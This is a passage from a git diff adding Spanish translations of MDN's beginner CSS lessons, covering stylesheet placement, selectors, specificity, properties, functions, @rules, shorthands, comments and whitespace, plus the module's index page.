+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi experimento CSS&lt;/title&gt;
+    &lt;link rel="stylesheet" href="styles.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;¡Hola, mundo!&lt;/h1&gt;
+    &lt;p&gt;Este es mi primer ejemplo de CSS&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>El archivo CSS podría parecerse a esto:</p>
+
+<pre class="brush: css notranslate">h1 {
+  color: blue;
+  background-color: yellow;
+  border: 1px solid black;
+}
+
+p {
+  color: red;
+}</pre>
+
+<p>El atributo <code>href</code> del elemento {{htmlelement("link")}} tiene que hacer referencia a un archivo de tu sistema de archivos.</p>
+
+<p>En el ejemplo anterior, el archivo CSS está en la misma carpeta que el documento HTML, pero puedes colocarlo en otro lugar y especificar la ruta adecuada. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;!-- Dentro de un subdirectorio llamado styles dentro del directorio de trabajo --&gt;
+&lt;link rel="stylesheet" href="styles/style.css"&gt;
+
+&lt;!-- Dentro de un subdirectorio llamado general, que está en un subdirectorio llamado styles, dentro del directorio de trabajo --&gt;
+&lt;link rel="stylesheet" href="styles/general/style.css"&gt;
+
+&lt;!-- Sube un nivel de directorio, y luego dentro de un subdirectorio llamado styles --&gt;
+&lt;link rel="stylesheet" href="../styles/style.css"&gt;</pre>
+
+<h3 id="Hoja_de_estilo_interna">Hoja de estilo interna</h3>
+
+<p>Una hoja de estilo interna es cuando no hay ningún archivo CSS externo, sino que colocas tu CSS dentro de un elemento {{htmlelement("style")}} contenido dentro del elemento {{htmlelement("head")}} del HTML.</p>
+
+<p>En este caso, el HTML se vería así:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi experimento CSS&lt;/title&gt;
+    &lt;style&gt;
+      h1 {
+        color: blue;
+        background-color: yellow;
+        border: 1px solid black;
+      }
+
+      p {
+        color: red;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;¡Hola, mundo!&lt;/h1&gt;
+    &lt;p&gt;Este es mi primer ejemplo de CSS&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Esto puede ser útil en algunas circunstancias (tal vez estés trabajando con un sistema de administración de contenido donde no sea posible modificar los archivos CSS directamente), pero no es tan eficiente como las hojas de estilo externas: en una página web, deberías repetir el CSS en cada página y actualizarlo en varios lugares en caso de que hubiera que hacer cambios.</p>
+
+<h3 id="Estilos_en_línea">Estilos en línea</h3>
+
+<p>Los estilos en línea son declaraciones CSS que afectan a un solo elemento, contenido dentro de un atributo de <code>style</code>:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi experimento CSS&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1 style="color: blue;background-color: yellow;border: 1px solid black;"&gt;¡Hola mundo!&lt;/h1&gt;
+    &lt;p style="color:red;"&gt;Este es mi primer ejemplo de CSS&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>¡No hagas esto a menos que realmente tengas que hacerlo!</strong> Es realmente malo a la hora de realizar el mantenimiento (puede que tengas que actualizar la misma información varias veces en un mismo documento), y además mezcla tu información CSS para la presentación con tu información HTML para la estructura, lo que dificulta la lectura y la comprensión del código. Mantener los diferentes tipos de código separados facilita trabajar con ellos.</p>
+
+<p>Hay ciertos lugares donde los estilos en línea son más comunes, o incluso aconsejables. Es posible que tengas que recurrir a ellos si realmente tu entorno de trabajo es restrictivo (tal vez el CMS solo te permita editar el cuerpo del HTML). También verás que se usan mucho en el correo electrónico en formato HTML para lograr la máxima compatibilidad con el mayor número de clientes.</p>
+
+<h2 id="Juguemos_con_el_CSS_de_este_artículo">Juguemos con el CSS de este artículo</h2>
+
+<p>En este artículo hay mucho CSS con el que jugar. Para hacerlo, recomendamos crear un nuevo directorio/carpeta en el ordenador, dentro de la cual deberás crear una copia de los siguientes dos archivos:</p>
+
+<p><strong>index.html:</strong></p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mis experimentos CSS&lt;/title&gt;
+    &lt;link rel="stylesheet" href="styles.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+    &lt;p&gt;Crea tu HTML de prueba aquí&lt;/p&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>styles.css:</strong></p>
+
+<pre class="brush: css notranslate">/* Crea tu CSS de prueba aquí */
+
+p {
+  color: red;
+}</pre>
+
+<p>Entonces, cuando te encuentres con un CSS con el que desees experimentar, reemplaza el contenido <code>&lt;body&gt;</code> del HTML con algo de HTML sin estilos y añade CSS a tu archivo de CSS para darle estilo.</p>
+
+<p>Si no estás en un sistema donde puedas crear archivos fácilmente, puedes utilizar el editor interactivo que encontrarás a continuación para experimentar.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}} </p>
+
+<p>¡Sigue leyendo y disfruta!</p>
+
+<h2 id="Selectores">Selectores</h2>
+
+<p>No se puede hablar de CSS sin mencionar los selectores, de los cuales ya hemos descubierto varios tipos diferentes en la lección <a href="/es/docs/Learn/CSS/First_steps/Comenzando_CSS">Empezar con el CSS</a>. Un selector es, como determinamos, un elemento de nuestro documento HTML para aplicarle estilo. Si los estilos no se aplican correctamente, es probable que el selector no coincida con lo que crees que debería coincidir.</p>
+
+<p>Cada regla CSS comienza con un selector o una lista de selectores que indican al navegador a qué elemento o elementos deben aplicarse dichas reglas. Todos los siguientes son ejemplos de selectores válidos o listas de selectores.</p>
+
+<pre class="brush: css notranslate">h1
+a:link
+.manythings
+#onething
+*
+.box p
+.box p:first-child
+h1, h2, .intro</pre>
+
+<p><strong>Prueba a crear algunas reglas CSS que usen los selectores anteriores y algo de HTML sin estilos. Si no conoces alguna de las sintaxis anteriores, ¡prueba a buscarla en MDN!</strong></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Aprenderás mucho más sobre los selectores en nuestros tutoriales sobre <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS">selectores CSS</a> de la próxima lección.</p>
+</div>
+
+<h3 id="Especificidad">Especificidad</h3>
+
+<p>A menudo habrá situaciones en las que dos selectores podrían determinar un mismo elemento HTML. Considera la siguiente hoja de estilo, en que definimos una regla con un selector <code>p</code> que establecerá los párrafos en color azul, y también una clase que establecerá los elementos seleccionados en color rojo.</p>
+
+<pre class="brush: css notranslate">.special {
+  color: red;
+}
+
+p {
+  color: blue;
+}</pre>
+
+<p>Digamos que en nuestro documento HTML hay un párrafo con una clase <code>special</code>. Ambas reglas podrían aplicarse. ¿Cuál ganará? ¿De qué color crees que será nuestro párrafo?</p>
+
+<pre class="brush: html notranslate">&lt;p class="special"&gt;¿De qué color soy?&lt;/p&gt;</pre>
+
+<p>El lenguaje CSS tiene reglas para controlar cuál ganará en caso de colisión; reciben el nombre de <strong>cascada</strong> y <strong>especificidad</strong>. En el siguiente bloque de códigos hemos definido dos reglas para el selector <code>p</code>, pero el párrafo termina siendo de color azul. Esto se debe a que la declaración que lo establece en azul aparece más abajo en la hoja de estilo, y los estilos posteriores anulan a los anteriores. Así funciona la regla de la cascada.</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+}
+
+p {
+  color: blue;
+}</pre>
+
+<p>Sin embargo, en el caso de nuestro primer bloque, que contiene un selector de clase y otro de elementos, la clase ganará. Esto hará que el párrafo sea rojo, incluso aunque aparezca antes en la hoja de estilo. Una clase se describe de forma más específica o con más especificidad que el selector de elementos, razón por la que gana.</p>
+
+<p><strong>Prueba el ejemplo anterior: añade el HTML a tu experimento, luego pon las dos reglas <code>p { ... }</code> a tu hoja de estilo. A continuación, cambia el primer selector <code>p</code> por <code>.special</code> para ver cómo cambia el estilo.</strong></p>
+
+<p>Las reglas de especificidad y de cascada pueden parecer un poco complicadas al principio. Son más fáciles de entender a medida que se van adquiriendo conocimientos de CSS. En nuestro artículo sobre <a href="/es/docs/Learn/CSS/Building_blocks/Cascada_y_herencia">Cascada y herencia</a>, que abordaremos en la próxima lección, se explicará en detalle, incluyendo cómo calcular la especificidad. Por ahora, solo has de saber que existe y que a veces el CSS no se aplica como esperas porque algo más en la hoja de estilo tiene una mayor especificidad. El hecho de identificar que más de una regla podría aplicarse a un elemento es el primer paso para solucionar estos problemas.</p>
+
+<h2 id="Propiedades_y_valores">Propiedades y valores</h2>
+
+<p>En su nivel más básico, el CSS consta de dos componentes básicos:</p>
+
+<ul>
+ <li><strong>Propiedades</strong>: Identificadores legibles por los humanos que indican qué características de estilo (por ejemplo, <code><a href="/en-US/docs/Web/CSS/font-size">font-size</a></code>, <code><a href="/en-US/docs/Web/CSS/width">width</a></code>, <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code>) deseas cambiar.</li>
+ <li><strong>Valores</strong>: A cada propiedad especificada se le asigna un valor que indica cómo quieres que cambien esas características de estilo (por ejemplo, lo que quieres que cambie de la fuente, el ancho o el color de fondo).</li>
+</ul>
+
+<p>La siguiente imagen resalta una sola propiedad y valor. El nombre de la propiedad es <code>color</code> y el valor <code>blue</code>.</p>
+
+<p><img alt="Una declaración resaltada en el CSS" src="https://mdn.mozillademos.org/files/16498/declaration.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>Una propiedad emparejada con un valor se denomina <em>declaración CSS</em>. Las declaraciones CSS se colocan dentro de los <em>bloques de declaración CSS</em>. La siguiente imagen muestra nuestro CSS con el bloque de declaración resaltado.</p>
+
+<p><img alt="Un bloque de declaración resaltado" src="https://mdn.mozillademos.org/files/16499/declaration-block.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>Finalmente, los bloques de declaración CSS se combinan con <em>selectores</em> para producir <em>conjuntos de reglas CSS</em> (o <em>reglas CSS</em>). Nuestra imagen contiene dos reglas, una para el selector <code>h1</code> y otra para el selector <code>p</code>. La regla para <code>h1</code> está resaltada.</p>
+
+<p><img alt="La regla para h1 resaltada" src="https://mdn.mozillademos.org/files/16500/rules.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p>
+
+<p>Establecer las propiedades de CSS según valores específicos es la función principal del lenguaje CSS. El motor CSS calcula qué declaraciones se aplican a cada elemento de una página para darle la compaginación y los estilos adecuados.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Importante:</strong> Las propiedades y valores de CSS son sensibles a mayúsculas y minúsculas. La propiedad y el valor de cada par están separados por dos puntos (<code>:</code>).</p>
+</div>
+
+<p><strong>Prueba a buscar diferentes valores de las siguientes propiedades y escribe reglas CSS que se puedan aplicar a diferentes elementos HTML: </strong></p>
+
+<ul>
+ <li><strong>{{cssxref("font-size")}}</strong></li>
+ <li><strong>{{cssxref("width")}}</strong></li>
+ <li><strong>{{cssxref("background-color")}}</strong></li>
+ <li><strong>{{cssxref("color")}}</strong></li>
+ <li><strong>{{cssxref("border")}}</strong></li>
+</ul>
+
+<div class="warning">
+<p><strong>Importante</strong>: Si una propiedad es desconocida o si un valor no es válido para una propiedad determinada, la declaración se considera <em>inválida</em> y el motor CSS del navegador la ignora por completo.</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: En CSS (y otros estándares web) se ha acordado establecer como estándar la ortografía en inglés de los EE. UU. para solucionar las incertidumbres idiomáticas. Por ejemplo, <em>siempre</em> hay que escribir <code>color</code>. Si se escribe <code>colour</code>, no funcionará.</p>
+</div>
+
+<h3 id="Las_funciones">Las funciones</h3>
+
+<p>Si bien la mayoría de valores son palabras clave relativamente simples o valores numéricos, es posible que algunos valores tomen la forma de una función. Un ejemplo sería la función <code>calc()</code>. Esta función te permite hacer operaciones matemáticas sencillas desde tu CSS, por ejemplo:</p>
+
+<div id="calc_example">
+<pre class="brush: html notranslate">&lt;div class="external"&gt; &lt;div class="box"&gt;La caja interior es del 90% - 30px.&lt;/div&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">.outer {
+  border: 5px solid black;
+}
+
+.box {
+  padding: 10px;
+  width: calc(90% - 30px);
+  background-color: rebeccapurple;
+  color: white;
+}</pre>
+</div>
+
+<p>Esto se traduce así:</p>
+
+<p>{{EmbedLiveSample('calc_example', '100%', 200)}}</p>
+
+<p>Una función consta del nombre de la función y, a continuación, unos paréntesis entre los que se colocan los valores permitidos para esa función. En el caso del ejemplo <code>calc()</code> anterior, pedimos que el ancho de esta caja sea del 90% del ancho del bloque que la contiene, menos 30 píxeles. Esto no es algo que podamos calcular con anticipación y simplemente introducir el valor en el CSS, ya que no sabemos cuál será el 90%. Como con todos los valores, la página correspondiente del proyecto MDN tendrá ejemplos de uso para que puedas ver cómo funciona.</p>
+
+<p>Otro ejemplo serían los diversos valores para {{cssxref ("transform")}}, como <code>rotate()</code>.</p>
+
+<div id="transform_example">
+<pre class="brush: html notranslate">&lt;div class="box"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">.box {
+  margin: 30px;
+  width: 100px;
+  height: 100px;
+  background-color: rebeccapurple;
+  transform: rotate(0.8turn)
+}</pre>
+</div>
+
+<p>El resultado del código anterior se ve así:</p>
+
+<p>{{EmbedLiveSample('transform_example', '100%', 200)}}</p>
+
+<p><strong>Prueba a buscar diferentes valores de las siguientes propiedades y escribe reglas CSS que se apliquen a diferentes elementos HTML: </strong></p>
+
+<ul>
+ <li><strong>{{cssxref("transform")}}</strong></li>
+ <li><strong>{{cssxref ("background-image")}}, en particular a valores de gradiente</strong></li>
+ <li><strong>{{cssxref("color")}}, en particular a valores rgb/rgba/hsl/hsla</strong></li>
+</ul>
+
+<h2 id="rules">@rules</h2>
+
+<p>Las <code><a href="/es/docs/Web/CSS/At-rule">@rules</a></code> (leído "at-rules" en inglés) dan al CSS algunas instrucciones sobre cómo comportarse. Algunas <code>@rules</code> son simples, con el nombre de la regla y un valor. Por ejemplo, para importar una hoja de estilo adicional a tu hoja de estilo CSS principal, puedes usar <code>@import</code>:</p>
+
+<pre class="brush: css notranslate">@import 'styles2.css';</pre>
+
+<p>Una de las <code>@rules</code> más comunes con las que te encontrarás es <code>@media</code>, que permite usar <a href="/es/docs/Web/CSS/Media_Queries">consultas a medios</a> para aplicar CSS solo cuando se dan ciertas condiciones (por ejemplo, cuando la resolución de la pantalla supera un valor determinado o la anchura supera un valor concreto).</p>
+
+<p>En el CSS que se muestra a continuación, tenemos una hoja de estilo que le da al elemento <code>&lt;body&gt;</code> un color de fondo rosado. Sin embargo, luego usamos <code>@media</code> para crear una sección de nuestra hoja de estilo que solo se aplicará en los navegadores con una ventana gráfica de más de 30em de ancho. Si el navegador es más ancho que 30em, el color de fondo será azul.</p>
+
+<pre class="brush: css notranslate">body {
+  background-color: pink;
+}
+
+@media (min-width: 30em) {
+  body {
+    background-color: blue;
+  }
+}</pre>
+
+<p>Encontrarás otras <code>@rules</code> a lo largo de estas lecciones.</p>
+
+<p><strong>Prueba a añadir una consulta a medios en tu CSS que cambie los estilos según el ancho de la ventana gráfica. Cambia el ancho de la ventana de tu navegador para ver el resultado.</strong></p>
+
+<h2 id="Abreviaturas">Abreviaturas</h2>
+
+<p>Algunas propiedades como {{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}} y {{ cssxref("margin")}} se llaman <strong>propiedades abreviadas</strong>. Esto se debe a que permiten establecer varios valores de propiedad en una sola línea, lo que ahorra tiempo y ordena el código.</p>
+
+<p>Por ejemplo, esta línea:</p>
+
+<pre class="brush: css notranslate">/* En propiedades abreviadas con 4 valores, como margin y padding (relleno), los valores se aplican
+   según el orden: arriba, derecha, abajo e izquierda (en sentido horario desde la parte superior). También hay otros
+   tipos de abreviaturas, como las propiedades abreviadas con 2 valores que establecen el relleno/margen,
+   arriba/abajo, y luego izquierda/derecha */
+padding: 10px 15px 15px 5px;</pre>
+
+<p>Hace lo mismo que todas estas juntas:</p>
+
+<pre class="brush: css notranslate">padding-top: 10px;
+padding-right: 15px;
+padding-bottom: 15px;
+padding-left: 5px;</pre>
+
+<p>Mientras que esta línea:</p>
+
+<pre class="brush: css notranslate">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre>
+
+<p>Hace lo mismo que todas estas juntas:</p>
+
+<pre class="brush: css notranslate">background-color: red;
+background-image: url(bg-graphic.png);
+background-position: 10px 10px;
+background-repeat: repeat-x;
+background-scroll: fixed;</pre>
+
+<p>Ahora mismo no pretendemos enseñarlos exhaustivamente: encontrarás muchos ejemplos más adelante en el curso. Te aconsejamos que busques los nombres de las propiedades abreviadas en nuestra <a href="/es/docs/Web/CSS/Referencia_CSS">referencia CSS</a> para obtener más información.</p>
+
+<p><strong>Prueba a añadir las declaraciones anteriores a tu CSS para ver cómo afecta al estilo de tu HTML. Experimenta con diferentes valores.</strong></p>
+
+<div class="blockIndicator warning">
+<p><strong>Advertencia</strong>: Si bien las propiedades abreviadas a menudo permiten ahorrarte valores, luego restablecerán a sus valores iniciales cualquier valor que no incluyas. Esto asegura que se use un conjunto de valores razonable. Sin embargo, puede resultar confuso si esperas que la propiedad abreviada solo cambie los valores que has introducido.</p>
+</div>
+
+<h2 id="Comentarios">Comentarios</h2>
+
+<p>Al igual que con el HTML, te recomendamos que hagas comentarios en tu CSS para que te ayuden a comprender cómo funciona su código cuando vuelvas a utilizarlo al cabo de varios meses, así como para ayudar a otros que vayan a trabajar con él a entenderlo.</p>
+
+<p>Los comentarios en el CSS comienzan con <code>/*</code> y terminan con <code>*/</code>. En el bloque de código que encontrarás a continuación, hemos usado comentarios para marcar el inicio de las diferentes secciones de código. Esto es útil para ayudarnos a movernos por la base de código a medida que aumenta: puedes buscar los comentarios en tu editor de código.</p>
+
+<pre class="brush: css notranslate">/* con elementos básicos de aplicación de estilo */
+/* -------------------------------------------------------------------------------------------- */
+body {
+  font: 1em/150% Helvética, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  /* Prestemos especial atención al tamaño de fuente global. En una pantalla o una ventana grande,
+     aumentamos el tamaño de la fuente para conseguir una mejor legibilidad */
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {font-size: 1.5em;}
+
+/* Familiarización con algunos elementos anidados específicos en el DOM */
+/* -------------------------------------------------------------------------------------------- */
+div p, #id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}</pre>
+
+<p>Los comentarios también son útiles para <em>comentar</em> temporalmente ciertas partes del código con fines de prueba, por ejemplo, si tratas de encontrar qué parte de tu código causa un error. En el siguiente ejemplo, hemos comentado las reglas para el selector <code>.special</code>.</p>
+
+<pre class="brush: css notranslate">/*.special {
+  color: red;
+}*/
+
+p {
+  color: blue;
+}</pre>
+
+<p><strong>Añade algunos comentarios al CSS para acostumbrarte a usarlos.</strong></p>
+
+<h2 id="Espacio_en_blanco">Espacio en blanco</h2>
+
+<p>Por espacio en blanco nos referimos los espacios en sí, tabuladores y retornos de carro o intros. De la misma manera que el HTML, el navegador ignora el espacio en blanco dentro del CSS. El valor del espacio en blanco es que puede mejorar la legibilidad.</p>
+
+<p>En el siguiente ejemplo, cada declaración (y el principio/fin de regla) está en una línea propia; esta es posiblemente una buena forma de escribir el CSS, ya que facilita el mantenimiento y la comprensión:</p>
+
+<pre class="brush: css notranslate">body {
+  font: 1em/150% Helvética, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+div p,
+#id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}
+</pre>
+
+<p id="Very_compact">Podrías escribir exactamente el mismo CSS eliminando la mayoría de los espacios en blanco; este bloque de código es funcionalmente idéntico al primer ejemplo, pero seguro que estarás de acuerdo en que resulta algo más difícil de leer:</p>
+
+<pre class="brush: css notranslate">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;}
+@media (min-width: 70em) { body {font-size: 130%;} }
+
+h1 {font-size: 1.5em;}
+
+div p, #id:first-line {background-color: red; border-radius: 3px;}
+div p {margin: 0; padding: 1em;}
+div p + p {padding-top: 0;}
+</pre>
+
+<p>La manera que elijas para disponer el código suele ser una preferencia personal, aunque cuando comiences a trabajar en equipo es posible que encuentres que el equipo ya tiene su propia guía de estilo que especifica una convención acordada a seguir.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Importante:</strong> Aunque los valores de las declaraciones CSS se separan por espacios, <strong>los nombres de propiedad nunca tienen espacios</strong>.</p>
+</div>
+
+<p>Por ejemplo, las siguientes declaraciones de CSS son válidas:</p>
+
+<pre class="brush: css notranslate">margin: 0 auto;
+padding-left: 10px;</pre>
+
+<p>Pero las siguientes no lo son:</p>
+
+<pre class="brush: css notranslate">margin: 0auto;
+padding- left: 10px;</pre>
+
+<p>¿Ves los errores de espaciado? <code>0auto</code> no se reconoce como un valor válido para la propiedad de <code>margin</code> (<code>0</code> y <code>auto</code> son dos valores separados) y el navegador no reconoce <code>padding-</code> como una propiedad válida. El valor correcto de propiedad (<code>padding-left</code>) se ha separado por un espacio perdido.</p>
+
+<p>Debes asegurarte siempre de separar los valores distintos entre sí por al menos un espacio, pero mantén los nombres de las propiedades y los valores de las propiedades juntos.</p>
+
+<p><strong>Prueba a jugar con los espacios en blanco de tu CSS y observa qué es lo que se rompe y lo que no.</strong></p>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Resulta útil entender un poco cómo el navegador toma tu HTML y tu CSS y los convierte en una página web, razón por la cual en el próximo artículo (<a href="/es/docs/Learn/CSS/First_steps/Como_funciona_CSS">Cómo funciona el CSS</a>) veremos ese proceso.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">¿Qué es el CSS?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">Empezar con el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">Cómo se estructura el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">Cómo funciona CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Pon en práctica tus conocimientos nuevos</a></li>
+</ol>
diff --git a/files/es/learn/css/first_steps/index.html b/files/es/learn/css/first_steps/index.html
new file mode 100644
index 0000000000..0213277d94
--- /dev/null
+++ b/files/es/learn/css/first_steps/index.html
@@ -0,0 +1,52 @@
+---
+title: Primeros pasos en CSS
+slug: Learn/CSS/First_steps
+tags:
+  - Aprender
+  - CSS
+  - Principiante
+  - modulo
+  - primeros pasos
+translation_of: Learn/CSS/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">CSS (Cascading Style Sheets - en español Hojas de Estilo en Cascadas) es usado para darle estilo y diseño a las páginas Web — por ejemplo, para cambiar la fuente de letra, color, tamaño y el espaciado de tu contenido; dividir en múltiples columnas, o agregar animaciones y otras propiedades decorativas. Este modulo provee un inicio suave para tu ruta de aprendizaje hacia el dominio de CSS con su funcionamiento básico, como luce su sintaxis, y cómo puedes comenzar a utilizarlo y añadir estilo a HTML.</p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de comenzar este módulo, deberías:</p>
+
+<ol>
+ <li>Estar familiarizado y tener conocimiento básico sobre el uso de computadores e internet básico (p.ej. navegando, consumiendo contenido en Internet.)</li>
+ <li>Un entorno básico de trabajo configurado, como se detalla en la sección de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">Instalación de software básico</a>, y saber como crear y administrar archivos, o lo puedes ver en el módulo <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">Manejando los archivos</a>.</li>
+ <li>Conocimiento básico de HTML, como se muestra en <a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás trabajando en un computador/tabla/otro dispositivo en el cual no puedes crear o almacenar tus propios archivos, podrías probar (la mayoría) de los ejemplos de código en un editor de código en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Este módulo contiene los siguientes artículos, que te guiarán a través de toda la teoría básica de CSS, y te proveerá oportunidades para comprobar algunas de tus habilidades.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/CSS/First_steps/Qu%C3%A9_es_CSS">¿Qué es CSS?</a></dt>
+ <dd><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets) te permite crear páginas Webs atractivas, pero ¿Cómo funciona por debajo? Este artículo explica que es CSS, con ejemplos simples de sintaxis, y cubre algunos temas clave sobre este lenguaje.</dd>
+ <dt><a href="/es/docs/Learn/CSS/First_steps/Comenzando_CSS">Empezar con CSS</a></dt>
+ <dd>En este artículo se tomarná un documento HTML simple y se le aplicará CSS, aprendiendo algunas cosas prácticas mientras lo haces.</dd>
+ <dt><a href="/es/docs/Learn/CSS/First_steps/Como_se_estructura_CSS">Como se estructura CSS</a></dt>
+ <dd>Ahora que sabes que es CSS y de su uso básico, es momento de sumergirnos un poco más dentro de la estructura del propio lenguaje. Ya hemos conocido muchos de los conceptos discutidos aquí; puedes volver a este resumen en el futuro si necesitas reforzar conocimientos o si tienes dudas sobre algun concepto.</dd>
+ <dt><a href="/es/docs/Learn/CSS/First_steps/Como_funciona_CSS">Como trabaja CSS</a></dt>
+ <dd>Hemos aprendido lo básico de CSS, para que es y como escribir una hoja de estilo sencilla. En esta lección echaremos un vistazo a como los navegadores web reciben CSS y HTML y los convierten en una página web.</dd>
+ <dt><a href="/es/docs/Learn/CSS/First_steps/Usa_tu_nuevo_conocimiento">Usando tu nuevo conocimiento</a></dt>
+ <dd>Con las cosas que has aprendido en las últimas lecciones encontrarás que usando CSS puedes editar el formato de documentos de texto simple, para agregarles tu propio estilo. Este artículo te da la oportunidad de hacerlo.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/intermediate-web-lit/">Conocimiento práctico intermedio Web 1: Introducción a CSS (en Inglés)</a> </dt>
+ <dd>Un excelente curso de Mozilla foundation que explora y prueba muchas de las habilidades de las que se habla en el módulo de <em>Introducción al CSS</em>. Aprende acerca de como agregar estilo a los elementos HTML en una página web, selectores CSS, atributos, y valores.</dd>
+</dl>
diff --git a/files/es/learn/css/first_steps/qué_es_css/index.html b/files/es/learn/css/first_steps/qué_es_css/index.html
new file mode 100644
index 0000000000..eb4f8e8a8a
--- /dev/null
+++ b/files/es/learn/css/first_steps/qué_es_css/index.html
@@ -0,0 +1,127 @@
+---
+title: ¿Qué es el CSS?
+slug: Learn/CSS/First_steps/Qué_es_CSS
+tags:
+  - Beginner
+  - CSS
+  - Introduction to CSS
+  - Learn
+  - Modules
+  - Specifications
+  - Syntax
+translation_of: Learn/CSS/First_steps/What_is_CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</div>
+
+<p class="summary">Las hojas de estilo en cascada (<strong>{{Glossary("CSS")}}</strong>, cascading style sheets) permiten crear páginas web atractivas. Pero ¿cómo funcionan realmente? En este artículo explicaremos qué es el CSS con un ejemplo de sintaxis sencillo y describiremos algunos términos clave sobre este lenguaje.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">tener instalado el software básico</a>, conocimientos básicos de cómo <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a> y nociones de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender qué es CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
